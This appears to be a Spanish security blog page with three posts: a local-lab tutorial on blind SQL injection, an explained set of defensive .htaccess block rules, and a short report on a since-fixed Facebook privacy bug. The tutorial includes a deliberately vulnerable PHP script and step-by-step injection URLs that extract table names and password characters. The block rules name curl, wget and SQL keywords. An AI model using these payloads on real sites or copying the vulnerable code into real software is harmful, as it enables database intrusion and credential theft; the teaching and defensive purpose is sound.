Categoría: Seguridad Web

Seguridad Web

Blind SQL Injection

rokitoh Deja un comentario

Hola:

La idea principal no es explicar un Blind SQL Injection, la idea es poder «tocar» un Blind SQL Injection.

De esta manera podremos jugar con el, introducir «nuestras cosas» y lo más importante, comprobar como reacciona ante ellas.

Siempre, claro, en un escenario propio. En un escenario que nosotros controlemos, podamos manipular y configurar. De esta forma podremos habilitar/deshabilitar opciones, quitar/añadir datos, etc…

Teniendo todo controlado entenderemos mejor el comportamiento o la hora de realizar el ataque.

Pues es de lo que se trata.

Lo que vamos a hacer es montar un Servidor WEB con APACHE + PHP + MySQL. Crear una base de datos y crear un fichero en PHP que realice un consulta con la Base de datos vulnerable…

Para no liarnos mucho y para acabar antes, podemos instalar un Appserv, que lo que hace es instalarlo todo junto (APACHE + PHP + MySQL). Y así nos evitamos otros quebraderos de cabeza.

AppServNetwork

La instalación del AppServ no tiene ninguna dificultad. Eso si, apuntar o recordar las contraseñas que utilicéis.

Una vez que tenemos instalado el servidor, lo arrancamos. A mi me gusta utilizar el Apache Monitor, que podéis encontrar en:

Inicio – Todos los programas – AppServ – Control Server by Service – Apache Monitor.
Abrimos nuestro navegador favorito y escribimos en la barra de direcciones:

http://localhost

¡¡Cuidadito con lo que hacéis!!… el gran hermano nos vigila a todos

Si todo ha ido bien tendríamos que ver todos los ficheros alojados en nuestro servidor WEB.

Para insertar ficheros en el servidor tendremos que introducirlos dentro de la carpeta WWW. Que por defecto encontraremos en:

Código: C:\Appserv\www

Recordar que los ficheros con nombre index son ejecutados directamente por el servidor.
Para hacer más cómodo nuestro acceso al servidor recomiendo renombrar el fichero index.php a por ejemplo indexx.php

Dentro de WWW, vamos a crear una carpeta llamada BlinSQLInjection.

Este será el directorio donde alojaremos el script en PHP que realizará la consulta con la base de datos vulnerable.

Pasemos ahora a crear una base de datos con información…

Tenemos varias formas de crear la base de datos, bien a través del phpMyAdmin o a través de la consola de comandos.

Aunque el phpMyAdmin es más visual, el MySQL Command Line Client es más rápido y, en este caso, más sencillo.

MySQL Command Line Client lo podéis encontrar aquí:

Código: Inicio – Todos los programas – Appserv – MySQL Command Line Client

Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Vamos a crear la Base de datos. Para eso introducimos el siguiente comando:

Código: create database BlindSQL;

Ahora vamos a crear la tabla USUARIOS con tres campos:

  • id.
  • Nombre.
  • Password.

Para eso indicamos que base de datos queremos utilizar, mediante:

Código: use BlindSQL;
Y a continuación creamos la tabla con sus correspondientes campos:

CREATE TABLE `usuarios` (`id` int(10) unsigned NOT NULL auto_increment,`nonmbre` varchar(50) NOT NULL,`password` varchar(50) NOT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

Ahora vamos a rellenar los campos con algunos contenidos. Por ejemplo, usuario: root, password: a1b2c3d4e5f6!!, id 1…

Cada uno puede escoger el nombre y la contraseña que quiera… aunque para entender y no perderse en las explicaciones es recomendable utilizar los mismos ejemplos.

Vamos haya…

insert into `usuarios` values (1, ‘root’,’a1b2c3d4e5f6!!’);

Los siguientes 2 usuarios siguen el mismo procedimiento, simplemente hay que cambiar el id a un valor consecutivo. Por ejemplo:

insert into `usuarios` values (2, ‘netting’,’gnitten’);

Código: insert into `usuarios` values (3, ‘guest’,’a76sd76ash12b’);

Con esto ya hemos creado la base de datos que vamos a utilizar en la práctica y en los ejemplos.

Una sola cosa más, comprobemos que la base de datos a creado todo correctamente.

Vamos a visualizar la tabla USUARIOS.

¡Todo correcto!

Cambiemos ahora, radicalmente, de tema. Vamos a crear un script en PHP que haga una consulta con la base de datos vulnerable a un Blind SQL Injection.

Código: <?php
$host = ‘localhost’;
$dbuser = ‘root’;
$dbpass = ‘mysql’;
$dbname = ‘blindsql’;
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
$sql = «SELECT * FROM usuarios WHERE id=».$_GET[‘id’];
$query = mysql_query($sql);
if(@mysql_num_rows($query)==0){
die(‘Error…! ‘);
}
$result=@mysql_fetch_row($query);
echo «<h2><center>Blind SQL Injection<br>Ejemplos<br><br>»;
echo «<font color=’#FF0000′>id: </font>».$result[0].»<br>»;
echo «<font color=’#FF0000’>Nombre: </font>».$result[1].»<br>»;
// echo «Contraseña: «.$result[2].»<br>»;
echo «</h2></center>»;
die();
?>

Este script no le he creado yo. Lo he sacado de la Intesné, lo que pasa es que no recuerdo de donde… (ay!! Que memoria la tuya, NeTTinG).

Creo que el script es muy sencillo. Aun si tener ningunos conocimientos de PHP se puede sacar a grandes rasgos lo que hace.

Quedémonos con lo más importante:

Código: $sql = «SELECT * FROM usuarios WHERE id=».$_GET[‘id’];
$query = mysql_query($sql);

El script hace la siguiente consulta con la base de datos,

Código: SELECT * FROM usuarios WHERE id=X

Luego se recoge a través de GET el valor de id, dado por el usuario. Es decir, si nosotros escribimos:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Se recoge el valor 1 y se hace la siguiente consulta:

Código: SELECT * FROM usuarios WHERE id=1

Luego, la otra parte del script, ya se ocupa de mostrar la respuesta a la solicitud en el navegador.

Copiamos el script, lo pegamos en el bloc de notas, y lo guardamos dentro de la carpeta BlindSQLInjection con extensión PHP.

Abrimos el navegador, e insertamos en la barra de direcciones la siguiente URL:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Ya tenemos todo listo para realizar prácticas de Blind SQL Injection en nuestro propio servidor vulnerable.

¿Como saber si el servidor es vulnerable?

Pasemos ahora a explicar un poco de que se trata un Blind SQL Injection, todo de manera práctica.

Nosotros sabemos que el script muestra información a través de la variable id. Según el id mostrará una información u otra almacenada en la base de datos.

Si nosotros no indicamos ningún valor a id o indicamos un valor que no existe en la base de datos obtendremos un simpático «Error…!! «.

Vale. Sabiendo esto nos llega para entender las siguientes explicaciones.

Si ponemos en la barra de direcciones la siguiente URL:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=1

Obtendremos el mismo resultado que si introdujéramos:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Acabamos de añadirle a la consulta un AND 1=1, que es un valor verdadero. Si la aplicación es vulnerable nos tendría que devolver el mismo resultado.

Comprobemos que pasa si añadimos un valor falso:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=0

Obtenemos un: «Error…!! »

Bien. A partir de ahora podremos formularle preguntas al servidor acerca de la base de datos. Cuando las respuestas sean falsas se nos enviará a: «Error…!! «, mientras que cuando sean verdaderas nos quedaremos en la misma página.

Una cosa importante. Las preguntas que podemos hacerle al servidor solo pueden tener como respuesta SI (verdadero) o NO (Falso). Recordar que es un ataque a ciegas…

Ojo! El servidor contestará que NO tanto si la consulta es falsa como si nosotros indicamos una consulta errónea. Ojo con la sintaxis de las consultas.

Probemos algunas cosas…

Conozcamos el nombre la tabla:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM users);

FALSO. Obtenemos la página «Error…!! »

Probemos ahora con:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios);

VERDADERO. Nos quedamos en la misma página.

Conociendo el número de registros de una tabla

Para conocer el número de registros vamos a seguir utilizando la Función COUNT:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) > 5;

Puesto que la tabla tiene 3 registros, nos dará un valor FALSO. 3 no es mayor que 5. (3 > 5)

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) = 3;

En este caso ya sabemos que la tabla tiene 3 registros. Al inyectar esta inyección nos dará un valor VERDADERO.

El objetivo es ir probando hasta encontrar un valor VERDADERO.

Buscando los nombres de las columnas o campos

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombres) FROM users)

Puesto que no existe ninguna columna o campo con este nombre obtendremos un valor FALSO.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(password) FROM usuarios)

Sin embargo, ahora si nos dará un valor VERDADERO. Si existe un campo con el nombre password.

Ya tenemos un campo, ahora sería cuestión de ir probando con otros campos hasta encontrarlos todos.

Código: >http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombre) FROM usuarios)

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(id) FROM usuarios)

Esto nos devolverá valores VERDADEROS.

Sacando información de los campos y registros

Lo que más nos podría interesar a la hora de encontrar un servidor vulnerable a un tipo de ataque como un Blind SQL Injection sería sacar información acerca de los passwords almacenados. Pues bien, ¿Que tal si sacamos la longitud de una contraseña?

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM usuairos where id=1) > 9

Esto nos devolverá un valor VERDADERO. El password tiene una longitud mayor a 9 (14 > 9).

Si vamos probando, probando, llegaremos a la siguiente conclusión:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM users where id=1) = 14

Que nos devolverá un valor VERDADERO.

También podríamos pedir el password a partir del nombre de usuario en vez de utilizar el id.

Por ejemplo, así:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1%20AND%20(Select%20length(passw ord)%20From%20usuarios%20where%20nonmbre=%27root%2 7)%20>%209;

Esto mismo nos vale también para conocer el contenido de otros campos. Por ejemplo, la longitud del usuario con id 2, al que vamos a imaginarnos que no conocemos su username.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (Select length(nombre) from usuarios where id=2) = 7;

Esto nos devolverá un valor VERDADERO. Puesto que el usuario con id 2, netting, tiene una longitud de 7 caracteres.

Pasemos ahora a sacar los caracteres de una contraseña o de otro campo. Para ello vamos a utilizar la función LENGTH y la función SUBSTRING.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuairos where id=1),1,1))=97;

Esto nos devolverá un valor VERDADERO. Puesto que el primer carácter de la contraseña es una «a». (ASCII 97 = ‘a’).

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuarios where id=1),2,1))=49

Esto nos devolverña un valor VERDADERO. El segundo carácter de la contraseña es un «1». (ASCII 49 = 1).

Es decir, debemos buscar en una tabla ASCII el valor del carácter que queremos comprobar. Ponerlo en la inyección y comprobar si es verdadero o falso.

También fijaros que hay que ir cambiando el número de la inyección para indicar que carácter queremos comprobar… que si el primer carácter (1) , que si el segundo carácter (2), y así consecutivamente…

Como decía Vic_Thor en el post del BlindSec, es una pesadilla… hay que ir comprobando carácter a carácter todas las posibilidades… y la verdad, no son pocas…

Os dejo aquí una Tabla ASCII:

… bueno, siempre y cuando lo hagamos «a mano», existen herramientas, por eso de llamarlas de algún modo, que nos permiten hacerlo todo más automático…

Es decir, debemos buscar en una tabla ASCII el valor del carácter que queremos comprobar. Ponerlo en la inyección y comprobar si es verdadero o falso.

También fijaros que hay que ir cambiando el número de la inyección para indicar que carácter queremos comprobar… que si el primer carácter (1) , que si el segundo carácter (2), y así consecutivamente…

Como decía Vic_Thor en el post del BlindSec, es una pesadilla… hay que ir comprobando carácter a carácter todas las posibilidades… y la verdad, no son pocas…

Os dejo aquí una Tabla ASCII:

… bueno, siempre y cuando lo hagamos «a mano», existen herramientas, por eso de llamarlas de algún modo, que nos permiten hacerlo todo más automático…

Aunque eso se escapa del objetivo del documento… si encuentro por mi disco duro la herramienta automatizada, la posteo en el foro…

Fuente: http://comunidad.dragonjar.org/

Seguridad .htaccess

rokitoh 1 comentario

En alguna oportunidad he mencionado la importancia de un archivo .htaccess con buenas reglas para una mayor seguridad en tu web y en este caso he visto una buena recopilación de reglas creadas por lo que yo llamaría un experto de seguridad web. En principio el archivo .htaccess utilizado por Apache no fue hecho para agregar seguridad a una página web, pero debido a su manejabilidad permite en muchos casos evitar accesos no auorizados. Las reglas son las siguientes:

RewriteEngine On
Options +FollowSymLinks

RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]

RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]

RewriteRule ^(.*)$ access_log.php

El autor explica cada zona de las reglas en su tema así que yo también lo haré en base a lo que él explicó. El texto originalmente está en ingles y no pretendo hacer una traducción perfecta pero trataré de explicarlo a mi manera:

Primero colocamos la configuración básica para habilitar el mod_rewrite en apache:

RewriteEngine On
Options +FollowSymLinks

La siguiente regla deshabilita el banner de información de apache cuando envía un error como Not Found. Esta función es importante deshabilitarla ya que en algunas versiones de Apache o un apache mal configurado muestra información que podría ser de utilidad para un atacante como muestra la siguiente imagen:

Mostrar la versión de apache y los módulos instalados 8con sus respectivas versiones) podría ser un riesgo de seguridad enorme ya que un atacante podría buscar bugs conocidos para dicha versión (para mi caso habilitar esta función me envió un Internal Server Error así que no es soportada por mi servidor):

ServerSignature Off

Las reglas utilizan 2 flags distintas:

NC - No Case: No distingue mayúsculas o minúsculas
OR - Sip, O: Siguiente condición.

La primera regla está basada en el REQUEST_METHOD. El REQUEST_METHOD es la forma en que se conecta el cliente con nuestro servidor. Para mi caso solo necesito GET o POST, puede que para su caso sea distinto ;).

RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]

THE_REQUEST es la petición completa hecha por el usuario y consiste en una cadena larga. Esta es usada para sanar ya que no queremos que un usuario envíe una petición con doble línea lo cual podría permitir un CRLF Injection 😉

RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

HTTP_REFERER puede contener caracteres que pueden ser usados para hacer una Pentest (Test de Intrusión) a una aplicación web. También podría permitir una intrusión de archivos así que bloqueamos los caracteres que no serán usados en peticiones legítimas:

RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

HTTP_COOKIE es igual de importante y ofrece un lugar para guardar el pentest caracteres lo que quiere decir que guarda en una cookie los caracteres.

RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

REQUEST_URI Es importante para la protección del servidor. Sobre todo para proteger de problemas con OverFlows como sucede com Apache Tomcat. Para proteger de esto limitaremos a 9999 caracteres duplicados.

RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]

USER_AGENT Analiza el User Agent (navegador) desde donde se hace la petición. El bloquear algunos user puede evitar que accedan a nuestra web muchos bots atacantes (muy común los libwww) o también hacer peticiones desde WGET (gestor de descargas). Particularmente usaba una regla similar y desde que la implementé dejé de ver ataques de bots insertados en servidores vulnerados.

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]

QUERY_STRING es probablemente lo más importante de todo porque aquí es donde suceden la mayoría de las cosas. Configurando de buena forma las reglas podemos evitar algunos XSS, algunos SQL Injection, y Remote Shell Injection.

RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]

Finalmente si apache consiguiera alguna de las peticiones bloqueadas en la regla podemos redirigir al usuario a una página o directamente bloquear el acceso. Originalmente la regla está hecha para enviar al posible atacante a una página alojada en el servidor llamada access_log.php el cual podría contener un script o podría ser una página hecha por usted:

RewriteRule ^(.*)$ access_log.php

Para mi caso particular prefiero enviar un mensaje de acceso denegado con la siguiente regla:

RewriteRule ^(.*)$ - [F]

Eso enviará al posible atacante a una página de error 403 Forbidden o acceso denegado.

Las reglas me parecieron bastante chéveres a pesar de que yo ya usaba la mayoría había una que otra que no conocía y decidí agregar. Siempre es bueno que a su vez hagan una búsqueda más extensa de más reglas para bloquear accesos y a su vez aprendan a utilizar cada regla según su conveniencia.

Herramientas Onlie .htacceess: http://tools.dynamicdrive.com/

Fuente: http://util-pc.com

¿Cómo entrar en el Facebook de otra persona?

rokitoh 4 comentarios

Hoy al entrar en Facebook me encontré con la sorpresa que el Chat no funcionaba, al pasar el mouse por encima decía que estaba en mantenimiento, después de un par de horas vi que seguía sin funcionar y me di a la tarea de investigar que pasaba.

Aquella pregunta que siempre hacen las personas, sobre si es posible “hackear una cuenta de Facebook” fue respondida esta mañana, la pregunta la realizan algunos por curiosidad o por querer saber cosas como por ejemplo si su pareja le está siendo infiel, por lo cual es muy frecuente que hagan búsquedas en Google del tipo ¿cómo saber la contraseña de Facebook?, pero lo más sorprendente durante mi búsqueda para saber qué era lo que pasaba, fue enterarme que un fallo en Facebook permitía con unos sencillos pasos y tan solo unos clics (nada de programación, ni compilar códigos ni nada) podíamos estar frente a la cuenta de cualquiera de nuestros contactos.

El fallo o bug en Facebook se encontraba en la configuración de privacidad, donde podíamos ver la manera en que otros usuarios ven nuestro perfil, lo que sucedía era que realmente cargaba el perfil de ese usuario y nos permitía ver sus conversaciones, historiales, solicitudes y algunos detalles de la cuenta que dejaban ver información sensible.

Cabe destacar que hoy mismo fue solucionado este fallo y que ya está de nuevo el chat en funcionamiento, sin embargo me quedan dudas acerca de la seguridad de esta famosa red social, ya que era un fallo bastante grave y realmente es un descuido serio en la programación de la misma.

El vídeo acerca del fallo lo publicaron en YouTube y en el podemos ver lo sencillo y lo grave del bug.

Fuente: www.dragonjar.org

[youtube=http://www.youtube.com/watch?v=ny8ui4delEo&feature=player_embedded]